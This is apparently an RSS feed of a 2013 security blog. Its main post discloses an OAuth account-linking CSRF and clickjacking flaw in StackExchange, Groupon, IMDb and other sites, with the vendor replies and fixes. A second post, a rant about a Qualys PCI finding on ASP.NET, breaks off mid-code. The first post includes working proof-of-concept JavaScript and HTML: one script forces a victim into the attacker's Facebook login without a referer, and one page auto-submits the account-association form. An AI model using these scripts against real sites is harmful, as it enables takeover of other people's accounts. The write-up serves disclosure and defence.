<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>WebstersProdigy</title>
	<atom:link href="http://webstersprodigy.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://webstersprodigy.net</link>
	<description>Colored Hat. New post roughly every other Friday</description>
	<lastBuildDate>Sun, 19 May 2013 18:09:05 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='webstersprodigy.net' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>WebstersProdigy</title>
		<link>http://webstersprodigy.net</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://webstersprodigy.net/osd.xml" title="WebstersProdigy" />
	<atom:link rel='hub' href='http://webstersprodigy.net/?pushpress=hub'/>
		<item>
		<title>Common OAuth issue you can use to take over accounts</title>
		<link>http://webstersprodigy.net/2013/05/09/common-oauth-issue-you-can-use-to-take-over-accounts/</link>
		<comments>http://webstersprodigy.net/2013/05/09/common-oauth-issue-you-can-use-to-take-over-accounts/#comments</comments>
		<pubDate>Thu, 09 May 2013 21:19:20 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[Web Hacking]]></category>
		<category><![CDATA[2013BH]]></category>
		<category><![CDATA[clickjacking]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[foursquare]]></category>
		<category><![CDATA[foxnews]]></category>
		<category><![CDATA[goodreads]]></category>
		<category><![CDATA[groupon]]></category>
		<category><![CDATA[huffingtonpost]]></category>
		<category><![CDATA[imdb]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[kickstarter]]></category>
		<category><![CDATA[myspace]]></category>
		<category><![CDATA[oauth]]></category>
		<category><![CDATA[pinterest]]></category>
		<category><![CDATA[slideshare]]></category>
		<category><![CDATA[soundcloud]]></category>
		<category><![CDATA[stackexchange]]></category>
		<category><![CDATA[vimeo]]></category>
		<category><![CDATA[woot]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=2207</guid>
		<description><![CDATA[TLDR; This is a post about a CSRF issue in OAuth I found where if a victim visited a malicious site while logged in, they could take over your account. At least stackexchange, woot.com, imdb, goodreads, soundcloud, myspace, foxnews, pinterest, groupon, huffingtonpost, foursquare, slideshare, kickstarter, and (sort of) vimeo were all vulnerable to this attack [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=2207&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>TLDR; This is a post about a CSRF issue in OAuth I found where if a victim visited a malicious site while logged in, they could take over your account. At least stackexchange, woot.com, imdb, goodreads, soundcloud, myspace, foxnews, pinterest, groupon, huffingtonpost, foursquare, slideshare, kickstarter, and (sort of) vimeo were all vulnerable to this attack this year. </p>
<p>The <a href="http://webstersprodigy.net/tag/2013bh/">2013BH</a> tag links to all posts related to my recent Blackhat EU talk I gave in March. Probably two more posts are coming, and I’ll post the whole talk and finished whitepaper relatively soon, unless someone else does :)</p>
<p>OAuth and OpenID are protocols that can allow authorization and authentication to applications in a cross domain way. It’s common for popular websites to use these protocols to allow users to login from various sources without having to have credentials for the specific site. For example, the sites I list in the tldr all allow logins from identity providers such as Facebook, twitter, or Google.</p>
<p>Here&#8217;s an image from Facebook on how this flow can work</p>
<p><a href="http://webstersprodigy.net/2013/05/09/common-oauth-issue-you-can-use-to-take-over-accounts/fb_login/" rel="attachment wp-att-2208"><img class="alignnone size-full wp-image-2208" alt="fb_login" src="http://webstersprodigy.files.wordpress.com/2013/04/fb_login.png?w=630&#038;h=450" width="630" height="450" /></a></p>
<p>This sort of flow can be used to associate multiple accounts. For example, an application can have an account on the site, but allow users to tie their Facebook profiles as an additional login mechanism. By necessity this is a cross domain POST, and can be difficult to protect against CSRF.</p>
<p>Several papers have written about this in the past (<a href="http://stephensclafani.com/2011/04/06/oauth-2-0-csrf-vulnerability/">http://stephensclafani.com/2011/04/06/oauth-2-0-csrf-vulnerability/</a>, <a href="http://sso-analysis.org/">http://sso-analysis.org/</a>) and <a href="http://tools.ietf.org/html/rfc6749">the spec itself has a section pertaining to CSRF mitigation</a>. The recommendation is generically to pass a state parameter to the identity provider. For this to work, it is necessary for this parameter to be unguessable and tied to the originating site session. Although theoretically these recommendations could be effective, it should come as no surprise that this is difficult to get right.</p>
<p>Most sites rely on the fact that a user is logged in to their own identity provider site (such as Google or Facebook). However, this trust can easily be broken. In the case of Facebook, the login is/was vulnerable to CSRF. Additionally, even if the identity provider login attempts proper CSRF protection, it’s almost always possible to force cookies and log the user in as an attacker.</p>
<h3>The First Attack I thought of</h3>
<p>Here&#8217;s a typical scenario. StackExchange has old accounts since the early days, but to make your life easier they want you to be able login with newer accounts, like your Facebook account. This looks like:</p>
<p><a href="http://webstersprodigy.net/2013/05/09/common-oauth-issue-you-can-use-to-take-over-accounts/stackexchange/" rel="attachment wp-att-2211"><img class="alignnone size-full wp-image-2211" alt="stackexchange" src="http://webstersprodigy.files.wordpress.com/2013/04/stackexchange.png?w=630&#038;h=400" width="630" height="400" /></a></p>
<p>Using attacks like I&#8217;ve chatted about in the past <a title="Is it already 2012?" href="http://webstersprodigy.net/2012/01/31/is-it-already-2012/">here</a>, <a title="Analysis of John Wilander’s Triple Submit Cookies" href="http://webstersprodigy.net/2012/08/03/analysis-of-john-wilanders-triple-submit-cookies/">here</a>, <a title=".NET MVC AntiforgeryToken CSRF Testing" href="http://webstersprodigy.net/2013/02/14/mvc-antiforgery/">here</a> and <a title="Common .NET ViewstateUserKey CSRF Issue" href="http://webstersprodigy.net/2013/03/21/common-net-viewstateuserkey-csrf-issue/">here</a>, I thought this may be vulnerable to something like this:</p>
<ol>
<li><span style="line-height:13px;">Toss the cookies into the victim stackoverflow account</span></li>
<li>The cookies used for auth may not be tied to the nonce sent to the identifier (e.g. facebook or Google)</li>
<li>Associate the attacker&#8217;s account with the victim&#8217;s account and win!</li>
</ol>
<p>This is kind of hard to test, since you have to map out all the cookies for each site. </p>
<h3>Easier Attack</h3>
<p>It turns out there&#8217;s an easier way (although above will probably be a problem for a while). Here is the easier way:</p>
<ol>
<li>Create an attacker identity provider account (e.g. Facebook)</li>
<li>Grant the accessing application (e.g. stackoverflow) permissions to attacker Facebook</li>
<li>Victim is logged in to accessing application.</li>
<li>A malicious site does the following:
<ol>
<li>Logs victim in to attacker’s Facebook by using CSRF on the Login, or by tossing cookies</li>
<li>POSTs to the account association request</li>
</ol>
</li>
<li>Attacker Logs out of other sessions</li>
<li>At this point an attacker completely controls the victim application account, and can usually perform various actions, such as deleting the other logins.</li>
</ol>
<p>Out of all the applications tested (see below for most of them), all but one have proven vulnerable to this attack. Congratulations flickr, you&#8217;re the only site I looked at that seemed to do this without any issue :)</p>
<h3>Stackexchange, woot.com, etc. Repro</h3>
<p>There are a couple ways this similar vulnerability occurs, but I&#8217;ll spell out stackexchange first, since they were the first site I attempted this on. The stackexchange people were awesome &#8211; they responded in less than a day, and some dev was like &#8220;my bad&#8221;, and fixed it in just a few hours. Other sites took months to fix and never even talked to me about it really.</p>
<p>Here I&#8217;ve omitted things around reliability, logging the victim out, and sneakiness for the sake of simplicity (but I will cover this in a followup post soon. Really, I will, it was part of the blackhat talk too). The below repro is with Firefox inprivate mode, using Facebook. Here is a video showing what it should look like if you follow along.</p>
<span class='embed-youtube' style='text-align:center; display: block;'><iframe class='youtube-player' type='text/html' width='630' height='385' src='http://www.youtube.com/embed/CmG01xprrlU?version=3&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;wmode=transparent' frameborder='0'></iframe></span>
<p>Walking through the steps above with more stackexchange specific detail:</p>
<ul>
<li>Create an attacker Facebook account</li>
<li>Give the application permission to the attacker&#8217;s account. Do not finish the entire flow here, just tell Facebook you want to give stackexchange access to everything</li>
</ul>
<p><a href="http://webstersprodigy.net/2013/05/09/common-oauth-issue-you-can-use-to-take-over-accounts/se_perm/" rel="attachment wp-att-2215"><img class="alignnone size-full wp-image-2215" alt="se_perm" src="http://webstersprodigy.files.wordpress.com/2013/04/se_perm.jpg?w=630&#038;h=337" width="630" height="337" /></a></p>
<ul>
<li><span style="line-height:13px;">Use the following script to login to Facebook. This particular technique is from Kotowicz for removing the referer on Facebook login. Note I have a more robust script that I developed after this <a title="Stripping the Referer in a Cross Domain POST request" href="http://webstersprodigy.net/2013/02/01/stripping-the-referer-in-a-cross-domain-post-request/">here</a>. Similarly, you can do attacks with other identity providers (Twitter, Google, etc) but you need to toss cookies into their domain, so it&#8217;s definitely more difficult.</span></li>
</ul>
<pre class="brush: jscript; title: ; notranslate">
//fb_login.html
 function post_without_referer() {
    // POST request, WebKit &amp; Firefox. Data, meta &amp; form submit trinity
   location = 'data:text/html,&lt;html&gt;&lt;meta http-equiv=&quot;refresh&quot;
content=&quot;0; url=data:text/html,' +
              '&lt;form id=dynForm method=POST
action=\'https://www.facebook.com/login.php?login_attempt=1\'&gt;' +
              '&lt;input type=hidden name=email value=yyy@live.com /&gt;' +
              '&lt;input type=hidden name=pass value=xxxxxxxx/&gt;' +
              '&lt;input type=hidden name=default_persistent value=0 /&gt;' +
              '&lt;input type=hidden name=timezone value=480 /&gt;' +
              '&lt;input type=hidden name=locale value=en_US /&gt;' +
              '&lt;/form&gt;&lt;script&gt;document.getElementById(\'dynForm\').submit()&lt;/scri'+'pt&gt;&quot;&gt;&lt;/html&gt;';
}
  post_without_referer();
</pre>
<ul>
<li>Create an HTML page that logs in as the attacker and then ties the attacker account to the victim account.
</li>
</ul>
<pre class="brush: jscript; title: ; notranslate">
&lt;html&gt;
  &lt;body&gt;
   &lt;script type=&quot;text/javascript&quot;&gt;

   function fb_login() {
    return (window.open(&quot;./fb_login.html&quot;, &quot;_blank&quot;,
&quot;status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1&quot;));
  }

   function stackexchange_addlogin() {
     document.getElementById(&quot;sForm&quot;).submit();
  }



   function pwn() {
     win1 = fb_login();
     setTimeout(&quot;stackexchange_addlogin()&quot;, 7000);
     //win1.close()
  }

   &lt;/script&gt;

   &lt;p&gt;This is just meant to be a dirty/simple PoC, and makes very
little attempt at being stealthy&lt;/p&gt;

   &lt;p&gt;To repro:&lt;/p&gt;


   &lt;ul&gt;
   &lt;li&gt;login to stackexchange&lt;/li&gt;
   &lt;li&gt;click &quot;pwn&quot;&lt;/li&gt;
   &lt;li&gt;An attacker now owns your stackexchange account!&lt;/li&gt;
   &lt;/ul&gt;

   &lt;!-- iframe necessary to get cookies if we haven't visited facebook 
          (needed to put a space modify to put on page)--&gt;
    &lt; iframe height=&quot;1px&quot; width=&quot;1px&quot; style=&quot;position:absolute;top:0;left:0';&quot; src=&quot;http://facebook.com&quot; sandbox&gt;&lt; /iframe&gt;


    &lt;form id=&quot;sForm&quot;
action=&quot;http://stackexchange.com/users/authenticate&quot; method=&quot;POST&quot;&gt;
      &lt;input type=&quot;hidden&quot; name=&quot;oauth&#095;version&quot; value=&quot;2&#046;0&quot; /&gt;
      &lt;input type=&quot;hidden&quot; name=&quot;oauth&#095;server&quot;
value=&quot;https&#058;&#047;&#047;graph&#046;facebook&#046;com&#047;oauth&#047;authorize&quot;
/&gt;
      &lt;input type=&quot;hidden&quot; name=&quot;openid&#095;identifier&quot; value=&quot;&quot; /&gt;
    &lt;/form&gt;



  &lt;a href=&quot;#&quot; onclick=&quot;pwn()&quot;&gt;pwn&lt;/a&gt;
  &lt;/body&gt;
&lt;/html&gt;
</pre>
<p><span id="more-2207"></span></p>
<ul>
<li>When a victim clicks on the link, the attacker has added his Facebook account to the victim stackexchange acocunt</li>
</ul>
<p>There were quite a few other sites affected by this exact same problem, including woot.com, imdb.com, goodreads.com, soundcloud.com, new.myspace.com, and pinterest.com. I was a little depressed when woot.com did not give me a <a href="http://www.reddit.com/r/netsec/comments/17jk4x/found_a_csrf_vulnerability_in_wootcom_reported_it/">bag o stuff</a> (or even get back to me :(). Some of these were slightly different, but basically the same impact. For example, with stackexchange once an attacker pwned the account, it was very difficult to remove (impossible from stackexchange management console). With others, like woot.com, once you pwned an account you could just remove the victim&#8217;s old account.</p>
<p><a href="http://webstersprodigy.net/2013/05/09/common-oauth-issue-you-can-use-to-take-over-accounts/goodreads/" rel="attachment wp-att-2223"><img src="http://webstersprodigy.files.wordpress.com/2013/04/goodreads.png?w=630&#038;h=406" alt="goodreads" width="630" height="406" class="alignnone size-full wp-image-2223" /></a></p>
<p><a href="http://webstersprodigy.net/2013/05/09/common-oauth-issue-you-can-use-to-take-over-accounts/imdb/" rel="attachment wp-att-2224"><img src="http://webstersprodigy.files.wordpress.com/2013/04/imdb.png?w=630&#038;h=399" alt="imdb" width="630" height="399" class="alignnone size-full wp-image-2224" /></a></p>
<p><a href="http://webstersprodigy.net/2013/05/09/common-oauth-issue-you-can-use-to-take-over-accounts/myspace/" rel="attachment wp-att-2225"><img src="http://webstersprodigy.files.wordpress.com/2013/04/myspace.png?w=630&#038;h=491" alt="myspace" width="630" height="491" class="alignnone size-full wp-image-2225" /></a></p>
<p><a href="http://webstersprodigy.net/2013/05/09/common-oauth-issue-you-can-use-to-take-over-accounts/pinterest/" rel="attachment wp-att-2226"><img src="http://webstersprodigy.files.wordpress.com/2013/04/pinterest.png?w=630&#038;h=388" alt="pinterest" width="630" height="388" class="alignnone size-full wp-image-2226" /></a></p>
<p><a href="http://webstersprodigy.net/2013/05/09/common-oauth-issue-you-can-use-to-take-over-accounts/soundcloud/" rel="attachment wp-att-2227"><img src="http://webstersprodigy.files.wordpress.com/2013/04/soundcloud.png?w=630&#038;h=413" alt="soundcloud" width="630" height="413" class="alignnone size-full wp-image-2227" /></a></p>
<p><a href="http://webstersprodigy.net/2013/05/09/common-oauth-issue-you-can-use-to-take-over-accounts/woot/" rel="attachment wp-att-2228"><img src="http://webstersprodigy.files.wordpress.com/2013/04/woot.png?w=630&#038;h=506" alt="woot" width="630" height="506" class="alignnone size-full wp-image-2228" /></a></p>
<h3>Groupon,etc Repro</h3>
<p>Are you still there after those pictures? There were quite a few sites that were nearly identical to stackexchange, but just slightly different. They all used this POST request thing to associate accounts. Another category is like Groupon. These sites used a Javascript postmessage call to achieve the same result. These sites were not CSRFable in the same way. However, it seems like most of these sites used an iframe in order to do the account association, so were vulnerable to clickjacking. </p>
<p>The following are repro steps for groupon. You&#8217;ll find they&#8217;re mostly the same as stackexchange, but differences are in bold</p>
<ul>
<li>Create an attacker Facebook account</li>
<li>Give the application permission to the attacker&#8217;s account. Do not finish the entire flow here, just tell Facebook you want to give groupon access to everything</li>
<li>Use the same script as above to login to Facebook. This particular technique is from Kotowicz for removing the referer on Facebook login. </li>
<li>Create an HTML page that logs in as the attacker and then ties the attacker account to the victim account.<strong>Although this is close to the attack above, there are a few differences. Instead of posting to the account association, it replaces the location with a clickjacking script which frames groupon and makes the user click on the account association stuff. For this, I use the <a href="http://webstersprodigy.net/2012/12/06/beef-clickjacking-module-and-using-the-rest-api-to-automate-attacks/" title="BeEf Clickjacking Module and using the REST API to Automate Attacks">clickjacking module I wrote for BeEf</a></strong></li>
<li>When a victim clicks on the link <strong>and clicks a few times in the clickjacking page</strong>, the attacker has added his Facebook account to the victim stackexchange account</li>
</ul>
<span class='embed-youtube' style='text-align:center; display: block;'><iframe class='youtube-player' type='text/html' width='630' height='385' src='http://www.youtube.com/embed/kbrGLzvhYDk?version=3&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;wmode=transparent' frameborder='0'></iframe></span>
<p>There were quite a few sites vulnerable to the same thing, including huffingtonpost, foursquare, slideshare, foxnews, and kickstarter.</p>
<p><a href="http://webstersprodigy.net/2013/05/09/common-oauth-issue-you-can-use-to-take-over-accounts/foursquare/" rel="attachment wp-att-2236"><img src="http://webstersprodigy.files.wordpress.com/2013/04/foursquare.png?w=630&#038;h=442" alt="foursquare" width="630" height="442" class="alignnone size-full wp-image-2236" /></a></p>
<p><a href="http://webstersprodigy.net/2013/05/09/common-oauth-issue-you-can-use-to-take-over-accounts/huffington/" rel="attachment wp-att-2241"><img src="http://webstersprodigy.files.wordpress.com/2013/04/huffington1.png?w=630&#038;h=349" alt="huffington" width="630" height="349" class="alignnone size-full wp-image-2241" /></a></p>
<p><a href="http://webstersprodigy.net/2013/05/09/common-oauth-issue-you-can-use-to-take-over-accounts/kickstarter/" rel="attachment wp-att-2238"><img src="http://webstersprodigy.files.wordpress.com/2013/04/kickstarter.png?w=630&#038;h=354" alt="kickstarter" width="630" height="354" class="alignnone size-full wp-image-2238" /></a></p>
<p><a href="http://webstersprodigy.net/2013/05/09/common-oauth-issue-you-can-use-to-take-over-accounts/foxnews/" rel="attachment wp-att-2222"><img src="http://webstersprodigy.files.wordpress.com/2013/04/foxnews.png?w=630&#038;h=403" alt="foxnews" width="630" height="403" class="alignnone size-full wp-image-2222" /></a></p>
<p><a href="http://webstersprodigy.net/2013/05/09/common-oauth-issue-you-can-use-to-take-over-accounts/sideshare/" rel="attachment wp-att-2239"><img src="http://webstersprodigy.files.wordpress.com/2013/04/sideshare.jpg?w=630&#038;h=336" alt="sideshare" width="630" height="336" class="alignnone size-full wp-image-2239" /></a></p>
<h3>Overall Risk</h3>
<p>The risk here is large. To compare this with classic XSS: xss can steal a session and do some nasty things. But with this, you take over an account forever. You can lock the victim out if you want. Not to mention that <strong>even if the CSRF were prevented, if the application has an XSS, you can exploit that to associate the associate the accounts</strong>.</p>
<p>Another point is I only took the worst case, where you can add an account to login with. That&#8217;s super common, but obviously OAuth is used for tons of stuff. For example, a similar bug on hotmail wouldn&#8217;t let you take over their Live account, but it would let you add all your attacker Facebook friends chat with the victim.</p>
<p><a href="http://webstersprodigy.net/2013/05/09/common-oauth-issue-you-can-use-to-take-over-accounts/hotmail_oauth/" rel="attachment wp-att-2268"><img src="http://webstersprodigy.files.wordpress.com/2013/05/hotmail_oauth.png?w=630&#038;h=493" alt="hotmail_oauth" width="630" height="493" class="alignnone size-full wp-image-2268" /></a></p>
<h3>Fixes</h3>
<p>Whose bug is this?</p>
<p>Can it be fixed on the Identity provider side? Maybe. For starters, Facebook could make their login CSRF proof, but it doesn&#8217;t completely mitigate the issue. One attack would be to cookie toss to log the victim in (more on this later). The IDP could separate the flow for login versus &#8220;associate account&#8221;, which might help. But even though there are some things the IDP can do, this is mostly a consumer side problem.</p>
<p>The state parameter needs to be cryptographically tied to the session cookie, just like a good CSRF protection (for examples of how to get this wrong, see <a href="http://webstersprodigy.net/2013/03/21/common-net-viewstateuserkey-csrf-issue/" title="Common .NET ViewstateUserKey CSRF Issue">here</a> and <a href="http://webstersprodigy.net/2013/02/14/mvc-antiforgery/" title=".NET MVC AntiforgeryToken CSRF Testing">here</a>). Additionally, the consumer side should add x-frame-options so it&#8217;s not clickjackable. And geez, you should really add a password prompt if you can add an account. It makes no sense to have a password prompt to change your password, but not have one to add your facebook account as a login mechanism.</p>
<p><a href="http://webstersprodigy.net/2013/05/09/common-oauth-issue-you-can-use-to-take-over-accounts/groupon/" rel="attachment wp-att-2269"><img src="http://webstersprodigy.files.wordpress.com/2013/05/groupon.png?w=630&#038;h=263" alt="groupon" width="630" height="263" class="alignnone size-full wp-image-2269" /></a></p>
<p><strong>Update</strong></p>
<p>A few people have asked a bit about disclosures, so I&#8217;ll post some info around that here. </p>
<p>I reported all of these to the third parties involved, and in the &#8220;stackexchange&#8221; case (since it&#8217;s worse than clickjacking imo) I really made an effort so that the right people knew about it. In a few cases where their teams didn&#8217;t understand the issue I worked with them to make sure their fix was good. Most of this was in the Jan/Feb timeframe this year. I haven&#8217;t looked at any of the sites since March though, and in some cases they closed the case and called it fixed, and I didn&#8217;t always verify because, you know, I&#8217;m doing it for free in my spare time. But I always helped verify if they asked me to :)</p>
<p>I really wanted Facebook to fix the CSRF on their login, since this would have mitigated the immediate issue and with other third party sites. They haven&#8217;t. I originally reported this to Facebook in January. I won&#8217;t repost the whole conversation, but they basically said this was an issue with the third party sites (which I agree with) and a lot of my recommendations weren&#8217;t practical (which I also probably agree with). But I kept harping on the CSRF login. Eventually they sent</p>
<blockquote><p>
&#8230;this is something we had previously been aware of and actually built some anti-CSRF systems for, but dealing with CSRF for login has ended up being way more complicated than typical scenarios, and we haven&#8217;t yet overcome some of the engineering challenges involved for it to work reliably. (Note that if it doesn&#8217;t work correctly, it could potentially lock people out of their Facebook accounts by preventing legitimate logins.) We do plan on getting something better in place, but that will probably take some time to implement. (I&#8217;m not familiar with what systems Google and others are using; I&#8217;ll have to check into that further.)</p>
<p>I think having login CSRF protection on our side would be ideal, but it doesn&#8217;t appear that will be practical in the short-term. In the mean time, the larger concern is CSRF issues on third-party sites connecting to Facebook, and we&#8217;re actually looking to expand some of our developer documentation to raise further awareness of these issues.
</p></blockquote>
<p>So I sent</p>
<blockquote><p>
Cool, thanks for the update. I might be over-simplifying, but it seems like<br />
since you already set those cookies when someone visits facebook.com you<br />
could just take a hash of one of them (if they&#8217;re random, if not maybe of<br />
another cookie), add it to the login post, and then on the login post check<br />
that hash(cookie) == post value.
</p></blockquote>
<p>They sent</p>
<blockquote><p>
I&#8217;ve been talking with the engineers who worked on login CSRF before but aren&#8217;t yet clear on all the details. We did actually build and deploy a solution, but from what I understand it was blocking too many legitimate requests based on monitoring results.</p></blockquote>
<p>Anyway, Facebook is full of brilliant people and I&#8217;m not trying to bad mouth anybody. They also knew about my March Blackhat talk, and were awesome about everything. But I don&#8217;t believe they have any &#8220;short term&#8221; plans to stop a CSRF on the login.</p>
<br />  <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=2207&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2013/05/09/common-oauth-issue-you-can-use-to-take-over-accounts/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/be2c27a28b3788a3b9a7a8fa243d2978?s=96&#38;d=http%3A%2F%2F2.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">webstersprodigy</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2013/04/fb_login.png" medium="image">
			<media:title type="html">fb_login</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2013/04/stackexchange.png" medium="image">
			<media:title type="html">stackexchange</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2013/04/se_perm.jpg" medium="image">
			<media:title type="html">se_perm</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2013/04/goodreads.png" medium="image">
			<media:title type="html">goodreads</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2013/04/imdb.png" medium="image">
			<media:title type="html">imdb</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2013/04/myspace.png" medium="image">
			<media:title type="html">myspace</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2013/04/pinterest.png" medium="image">
			<media:title type="html">pinterest</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2013/04/soundcloud.png" medium="image">
			<media:title type="html">soundcloud</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2013/04/woot.png" medium="image">
			<media:title type="html">woot</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2013/04/foursquare.png" medium="image">
			<media:title type="html">foursquare</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2013/04/huffington1.png" medium="image">
			<media:title type="html">huffington</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2013/04/kickstarter.png" medium="image">
			<media:title type="html">kickstarter</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2013/04/foxnews.png" medium="image">
			<media:title type="html">foxnews</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2013/04/sideshare.jpg" medium="image">
			<media:title type="html">sideshare</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2013/05/hotmail_oauth.png" medium="image">
			<media:title type="html">hotmail_oauth</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2013/05/groupon.png" medium="image">
			<media:title type="html">groupon</media:title>
		</media:content>
	</item>
		<item>
		<title>Qualys validaterequest &#8216;finding&#8217; is an Annoying PCI Problem</title>
		<link>http://webstersprodigy.net/2013/05/02/qualys-validaterequest-finding-is-an-annoying-pci-problem/</link>
		<comments>http://webstersprodigy.net/2013/05/02/qualys-validaterequest-finding-is-an-annoying-pci-problem/#comments</comments>
		<pubDate>Fri, 03 May 2013 05:24:29 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[Web Hacking]]></category>
		<category><![CDATA[csharp]]></category>
		<category><![CDATA[dotnet]]></category>
		<category><![CDATA[qualys]]></category>
		<category><![CDATA[validaterequest]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=2244</guid>
		<description><![CDATA[Uh oh. A post about compliance. That means it&#8217;s a rant, because I think compliance is dumb. I love parts of the security community, like Defcon/Bsides/CTF/the movie hackers and stuff like that, but I also hate more security people than not. Sorry. A lot of sites use qualys scans as part of PCI, so doubtless [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=2244&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Uh oh. A post about compliance. That means it&#8217;s a rant, because I think compliance is dumb. I love parts of the security community, like Defcon/Bsides/CTF/the movie hackers and stuff like that, but I also hate more security people than not. Sorry.</p>
<p>A lot of sites use qualys scans as part of PCI, so doubtless I&#8217;m not the only person who has run into this. If you&#8217;re running ASP.net 3 you&#8217;ll get the error here: <a href="https://community.qualys.com/docs/DOC-3495">https://community.qualys.com/docs/DOC-3495</a></p>
<p>Some excerpts are</p>
<blockquote><p>What versions of Microsoft ASP.NET are vulnerable?<br />
Microsoft has confirmed that ASP.NET versions 1 and 2 are both vulnerable.</p>
<p>Additionally, Qualys has confirmed that ASP.NET version 3 is also vulnerable, as it includes the vulnerable component from version 2 by default. We have tested this in our Labs and confirmed the exploit works on a fully patched version 3.</p>
<p>What versions of Microsoft ASP.NET are not vulnerable?<br />
ASP.NET version 4 is not vulnerable, as it does not use the vulnerable ‘ValidateRequest’ Filter.</p>
<p>Applications that have been securely coded, and have custom filtering in place above and beyond the ValidateRequest Filter, may not be vulnerable.</p>
<p>&#8230;</p>
<p>Since this is being detected based upon the .NET Framework Version, shouldn’t this be reported as a Potential Vulnerability?<br />
After an in-depth investigation, including discussions with the original publisher, the vendor, and a thorough review of the two published CVE&#8217;s, we have decided that QID 90780 would be better represented as a Potential Vulnerability, and so we have reclassified it as such.</p>
<p>Our detection is based on the remote capability to identify the active framework running on the system. While this does accurately validate the framework version, it does not accurately confirm the presence of XSS, which applies to a higher layer and would be dependent upon several other factors such as web application coding practices, input sanitization, form submissions, etc.</p>
<p>In many cases, although someone may be running the vulnerable framework, they may have additional custom built filters in place which mitigate the risk and ensure that XSS is not possible on the target system.</p>
<p>In summary, the presence of the Vulnerable Framework actively running is the basis of this vulnerability, which could potentially allow additional attacks such as cross-site scripting. However, this detection is not actively confirming the presence of cross-site scripting, and so we believe this is most accurately marked as a Potential Vulnerability.</p>
<p>As a side note, since PCI Requires that both Actual &amp; Potential Vulnerabilities be remediated the same, this is still a PCI Failing Vulnerability.
</p></blockquote>
<p>So while upgrading versions of .net is a great idea, especially to 4.5 which has some <a href="http://blogs.msdn.com/b/webdev/archive/2012/10/22/cryptographic-improvements-in-asp-net-4-5-pt-1.aspx">awesome security improvements</a>, this qualys scan issue seems totally bogus.</p>
<ol>
<li>I talk about <a href="http://webstersprodigy.net/2013/01/04/validaterequest-should-probably-still-be-enabled/" title="ValidateRequest should probably still be Enabled">how validaterequest works here</a>. It is not meant to stop all flavors of xss. However, even if validaterequest completely failed and was bypassable in all cases (which it&#8217;s not afaik) why should this by itself cause a site to fail PCI, when most other frameworks do not have this sort of WAF in place at all? If validaterequest were always bypassable, this means the web application is put on the same footing as other frameworks. Should all Java sites fail because they don&#8217;t have something like validaterequest built in?</li>
<li>So, Qualys labs has determined version 3 is vulnerable but version 4 is not, huh? It turns out that right now, when I put all versions in ilspy, from .net 2 to .net 4.5, validaterequest has not changed. At all. Here is what it looks like for all versions of .net. Maybe the problem is somewhere else, but I&#8217;m skeptical.</li>
<pre class="brush: java; title: ; notranslate">
// System.Web.CrossSiteScriptingValidation
internal static bool IsDangerousString(string s, out int matchIndex)
{
	matchIndex = 0;
	int startIndex = 0;
	while (true)
	{
